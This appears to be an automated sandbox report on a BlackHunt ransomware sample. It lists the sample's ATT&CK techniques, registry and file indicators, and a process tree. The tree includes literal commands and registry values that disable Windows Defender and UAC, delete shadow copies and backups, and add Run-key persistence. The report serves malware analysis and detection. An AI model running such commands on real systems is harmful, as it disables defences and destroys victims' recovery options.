2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5

Data Destruction

T1485

pid	Process
5752	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
5332	bcdedit.exe
5764	bcdedit.exe

Renames multiple (715) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5768	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\Q:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\W:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\I:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\E:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\A:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\X:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\Z:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\N:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\Y:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\P:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\K:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\V:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\B:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\R:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\U:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\G:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\S:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\H:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\J:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\M:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\O:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened (read-only)	\??\L:	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\#BlackHunt_ReadMe.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\#BlackHunt_ReadMe.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\mobile.html	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\skins\winamp2.xml	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\#BlackHunt_ReadMe.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\#BlackHunt_ReadMe.hta	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_ReadMe.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy.jar	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\#BlackHunt_ReadMe.hta	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tl\#BlackHunt_Private.key	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\spu\#BlackHunt_ReadMe.hta	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_Private.key	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\net.properties	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\plugins.dat	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\gui\#BlackHunt_ReadMe.hta	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\vlc.mo	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\libpng.md	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\tzmappings	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_ReadMe.hta	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_ReadMe.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaTypewriterBold.ttf	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\locales\#BlackHunt_Private.key	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxml2.md	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_CopyNoDrop32x32.gif	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\jmxremote.access	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\#BlackHunt_Private.key	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_Private.key	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\dnsns.jar	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cryptix.md	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\ecc.md	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\liveleak.luac	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.hta	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#BlackHunt_Private.key	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\koreus.luac	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\#BlackHunt_ReadMe.hta	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#BlackHunt_ReadMe.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\#BlackHunt_Private.key	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\#BlackHunt_Private.key	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\index.html	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklisted.certs	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_ReadMe.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Edit_R_Exp_RHP.aapp	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_ReadMe.hta	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\#BlackHunt_Private.key	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\vlc.mo	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_filter\#BlackHunt_ReadMe.txt	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_output\#BlackHunt_ReadMe.hta	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\Video-48.png	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\#BlackHunt_Private.key	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\appletrailers.luac	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3232	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
676	vssadmin.exe
1776	vssadmin.exe
388	vssadmin.exe
1428	vssadmin.exe
5132	vssadmin.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
Token: SeRestorePrivilege	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
Token: SeBackupPrivilege	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
Token: SeTakeOwnershipPrivilege	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
Token: SeAuditPrivilege	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
Token: SeSecurityPrivilege	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
Token: SeIncBasePriorityPrivilege	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
Token: SeBackupPrivilege	5828	vssvc.exe
Token: SeRestorePrivilege	5828	vssvc.exe
Token: SeAuditPrivilege	5828	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4744 wrote to memory of 2476	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	88
PID 4744 wrote to memory of 2476	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	88
PID 4744 wrote to memory of 2236	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	90
PID 4744 wrote to memory of 2236	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	90
PID 4744 wrote to memory of 1996	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	92
PID 4744 wrote to memory of 1996	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	92
PID 4744 wrote to memory of 3596	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	179
PID 4744 wrote to memory of 3596	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	179
PID 4744 wrote to memory of 1336	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	94
PID 4744 wrote to memory of 1336	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	94
PID 1336 wrote to memory of 2056	1336	cmd.exe	163
PID 1336 wrote to memory of 2056	1336	cmd.exe	163
PID 1996 wrote to memory of 1792	1996	cmd.exe	164
PID 1996 wrote to memory of 1792	1996	cmd.exe	164
PID 3596 wrote to memory of 3816	3596	Conhost.exe	101
PID 3596 wrote to memory of 3816	3596	Conhost.exe	101
PID 2236 wrote to memory of 2960	2236	cmd.exe	100
PID 2236 wrote to memory of 2960	2236	cmd.exe	100
PID 2476 wrote to memory of 2892	2476	cmd.exe	98
PID 2476 wrote to memory of 2892	2476	cmd.exe	98
PID 4744 wrote to memory of 1412	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	103
PID 4744 wrote to memory of 1412	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	103
PID 4744 wrote to memory of 1672	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	105
PID 4744 wrote to memory of 1672	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	105
PID 4744 wrote to memory of 3624	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	107
PID 4744 wrote to memory of 3624	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	107
PID 1412 wrote to memory of 116	1412	cmd.exe	110
PID 1412 wrote to memory of 116	1412	cmd.exe	110
PID 4744 wrote to memory of 232	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	109
PID 4744 wrote to memory of 232	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	109
PID 1672 wrote to memory of 4840	1672	cmd.exe	113
PID 1672 wrote to memory of 4840	1672	cmd.exe	113
PID 4744 wrote to memory of 5048	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	112
PID 4744 wrote to memory of 5048	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	112
PID 4744 wrote to memory of 3064	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	122
PID 4744 wrote to memory of 3064	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	122
PID 4744 wrote to memory of 3264	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	116
PID 4744 wrote to memory of 3264	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	116
PID 4744 wrote to memory of 4940	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	121
PID 4744 wrote to memory of 4940	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	121
PID 3624 wrote to memory of 3368	3624	cmd.exe	120
PID 3624 wrote to memory of 3368	3624	cmd.exe	120
PID 4744 wrote to memory of 1740	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	119
PID 4744 wrote to memory of 1740	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	119
PID 4744 wrote to memory of 4000	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	126
PID 4744 wrote to memory of 4000	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	126
PID 4744 wrote to memory of 2136	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	124
PID 4744 wrote to memory of 2136	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	124
PID 4744 wrote to memory of 2252	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	128
PID 4744 wrote to memory of 2252	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	128
PID 4744 wrote to memory of 4528	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	129
PID 4744 wrote to memory of 4528	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	129
PID 4744 wrote to memory of 4864	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	130
PID 4744 wrote to memory of 4864	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	130
PID 4744 wrote to memory of 2000	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	135
PID 4744 wrote to memory of 2000	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	135
PID 4744 wrote to memory of 5052	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	137
PID 4744 wrote to memory of 5052	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	137
PID 4744 wrote to memory of 4244	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	138
PID 4744 wrote to memory of 4244	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	138
PID 4744 wrote to memory of 2228	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	140
PID 4744 wrote to memory of 2228	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	140
PID 4744 wrote to memory of 4960	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	144
PID 4744 wrote to memory of 4960	4744	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe	144

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe
"C:\Users\Admin\AppData\Local\Temp\2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\system32\reg.exe
